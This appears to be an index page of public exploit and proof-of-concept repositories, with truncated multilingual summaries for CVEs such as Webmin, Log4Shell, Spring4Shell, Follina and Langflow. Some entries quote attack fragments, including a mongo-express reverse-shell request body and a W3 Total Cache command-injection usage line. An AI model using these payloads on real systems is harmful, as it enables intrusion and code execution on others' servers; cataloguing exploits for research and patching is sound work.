CVE-2019-15107_webminRCE

CVE-2019-15107webminRCE webnin 1.920 미만에 대한 인증되지 않은 RCE 익스플로잇 https://github.com/jas502n/CVE-2019-15107의 수정 버전 POC https://asciinema.org/a/YzMmXQyvZcsBF9OzccXxmHmyQ...

CVE-2021-21978

CVE-2021-21978 CVE-2021-21978 RCE exp Затронутые версии VMware View Planner Harness 4.X По аналогии с CVE-2021-21978, данная уязвимость позволяет загрузить произвольный файл без авторизации и добиться удаленного выполнения кода путем модификации встроенного Python-скрипта. Стоит отметить, что...

CVE-2019-10758

CVE-2019-10758 Удаленное выполнение кода в mongo-express, код обратного шелла: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...

CVE-2024-6387

إعادة نشر المقال الأصلي CVE-2024-6387 - PoC 📜 الوصف ملاحظة: هذا السكربت هو نموذج أولي سريع للـ PoC، وقد تحدث بعض الأخطاء والعلل. تم الاختبار على: Kali Linux، ParrotSec، Ubuntu 22.04 ثغرة تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في خادم OpenSSH تم اكتشاف حالة سباق race condition في معالج الإشارات ...

CVE-2022-2274

CVE-2022-2274 CVE-2022-2274 का POC openssl OpenSSL 3.0.4 रिलीज़ में X8664 CPU के लिए AVX512IFMA निर्देशों को सपोर्ट करने वाले RSA कार्यान्वयन में एक गंभीर बग पेश किया गया। यह समस्या ऐसी मशीनों पर 2048 बिट प्राइवेट कुंजियों वाले RSA कार्यान्वयन को गलत बना देती है और गणना के दौरान मेमोरी भ्रष्टाचार...

CVE-2022-22965

spring4shell ⭐ CVE-2022-22965 का एक पायथन कार्यान्वयन जो उपयोगकर्ता को ssh सत्र की शैली में एक प्रॉम्प्ट प्रदान करता है। स्क्रिप्ट को समझने और निष्पादित करने में आसान बनाने के लिए डिज़ाइन किया गया है, जिसमें पठनीयता और पहुंच क्षमता दोनों - उपयोगकर्ता की पसंद पर निर्भर करता है। टॉमकैट सर्वर पर...

CVE-2022-2185

CVE-2022-2185 wo ee cve-2022-2185 gitlab authenticated rce पढ़ें: https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/ उपयोग कैसे करें पहले एक gitlab इंस्टेंस स्पॉन करें। लॉग इन करें, एक अनोखे नाम के साथ एक ग्रुप और प्रोजेक्ट बनाएं। एक एक्सेस टोकन बनाएं। main.go में ...

redis-stack-CVE-2024-55656

CVE-2024-55656 - Redis Stack - ثغرة تجاوز عدد صحيح في RedisBloom تسمح بتنفيذ تعليمات برمجية عن بُعد العنوان: ثغرة Redis Stack في RedisBloom لتجاوز عدد صحيح تؤدي إلى تنفيذ تعليمات برمجية عن بُعد ZDI: ZDI-25-009 CVE: CVE-2024-55656 الاعتمادات: rick2600 و gqsilva CVSS: 8.8 HIGH الإصدار المتأثر:...

CVE-2023-45503

CVE-2023-45503 भेद्यता विवरण अवलोकन Macrob7 Macs फ्रेमवर्क कंटेंट मैनेजमेंट सिस्टम CMS संस्करण 1.1.4f और उससे पहले के संस्करणों में, उपयोगकर्ता इनपुट के असुरक्षित हैंडलिंग के कारण 16 SQL इंजेक्शन भेद्यताएँ उत्पन्न होती हैं। मनमाना SQL क्वेरी निष्पादित करने की क्षमता के परिणामस्वरूप उपयोगकर्ताओं क...

CVE-2019-18426

الإفصاح عن ثغرات واتساب - إعادة توجيه مفتوحة + تجاوز CSP + XSS دائم + أذونات قراءة نظام الملفات + احتمالية RCE CVE-2019-18426 المقال التقني مستندات الإفصاح الأصلية عن الثغرات فيديوهات العرض التجريبي!...

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182 Un proof-of-concept che dimostra una vulnerabilità di esecuzione remota di codice nelle applicazioni Next.js attraverso la prototype pollution nella pipeline di rendering dei componenti server di React. ⚠️ Disclaimer Questo strumento è destinato esclusivamente a scopi...

CVE-2025-3248

CVE-2025-3248 ★ CVE-2025-3248 Langflow RCE PoC ★ Configuration du laboratoire root@kitploit: docker pull langflowai/langflow:1.2.0 docker run -d --name CVE-2025-3248 -p 7860:7860 langflowai/langflow:1.2.0 localhost:7860 Description Les versions de Langflow antérieures à 1.3.0 sont vulnérables à u...

CVE-2024-25291

DeskFiler RCE Une preuve de concept pour la vulnérabilité CVE-2024-25291. deskfiler - 1.2.3 permet d'utiliser Electron webview dans l'application, ce qui entraîne l'exécution de code à distance. Dans ce dépôt, il y a un exemple d'application vulnérable et une preuve de concept POC d'exploitation...

LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-

= doi.org/10.5281/zenodo.18278567 = orcid.org/0009-0007-7728-256X 💀 LlamaStack-RCE: CVE-2024-50050 आपूर्ति श्रृंखला शोषण ढांचा अप्रतिबंधित वर्गीकृत सामग्री - केवल अधिकृत रेड टीमिंग के लिए 1. कार्यकारी सारांश निर्धारणात्मक विश्लेषण LlamaStack-RCE एक उच्च-विश्वसनीयता सिमुलेशन और शोषण ढांचा है जो...

CVE-2025-8889

Titolo Exploit: Plugin WordPress Compress Then Upload 1.0.3 – Caricamento Arbitrario di File verso RCE Data: 2025-07-23 Autore Exploit: Muhammed Çelik Homepage del Venditore: https://wordpress.com/plugins/compress-then-upload Link del Software:...

APACHE-PATH-TRAVERSAL-RCE-CVE-2021-41773-

CVE-2021-41773 — Apache HTTP Server 2.4.49 Path Traversal / RCE Progetto di ricerca educativo. Tutti i test sono stati eseguiti in un laboratorio Docker isolato. Non utilizzare contro sistemi che non possiedi. Riepilogo della vulnerabilità...

CVE-2022-30190

CVE-2022-30190 Follina 개념 증명 개요 이 프로젝트는 "Follina"라고도 알려진 CVE-2022-30190에 대한 개념 증명 익스플로잇 을 시연합니다. 이는 MSDT 프로토콜을 통해 Microsoft Office에 영향을 미치는 치명적인 원격 코드 실행 취약점입니다. 이 애플리케이션은 교육 및 연구 목적으로만 익스플로잇 워크플로를 설명하기 위해 악성 Office 문서를 생성합니다. ⚠ 경고: 이 저장소는 교육 및 승인된 보안 연구용으로만 사용됩니다. 프로덕션 환경이나 소유하지 않았거나 명시적 테스트 허가를...

CVE-2025-55182-Exploiter

🛡️ RSC Sentinel Pro Auditor Avançado de Componentes de Servidor React RSC & Kit de Exploração CVE-2025-55182 🔥 Detectar. Impressão Digital. Explorar. Uma Extensão do Chrome para Pesquisadores de Segurança e Caçadores de Bugs direcionada a vulnerabilidades RSC do Next.js App Router — especialmente...

w3-total-cache-cve-2013-2010

w3-total-cache-cve-2013-2010 w3 total cache cve 2013-2010에서 원격 코드 실행 사용법: python3 w3tcrceexploit.py -u http://example.com -p "system'whoami';" 출력: Targeting: http://example.com + Payload sent successfully. + Check the target for execution of the payload. import requests import argparse def...

CVE-2021-44228

Prova-de-Conceito Log4Shell Este repositório é uma Prova-de-Conceito para a vulnerabilidade CVE-2021-44228. É derivado de Este Repositório. Neste repositório, fiz um exemplo de uma aplicação vulnerável e uma demonstração de como explorá-la. Componentes da Prova-de-Conceito Modifiquei o script...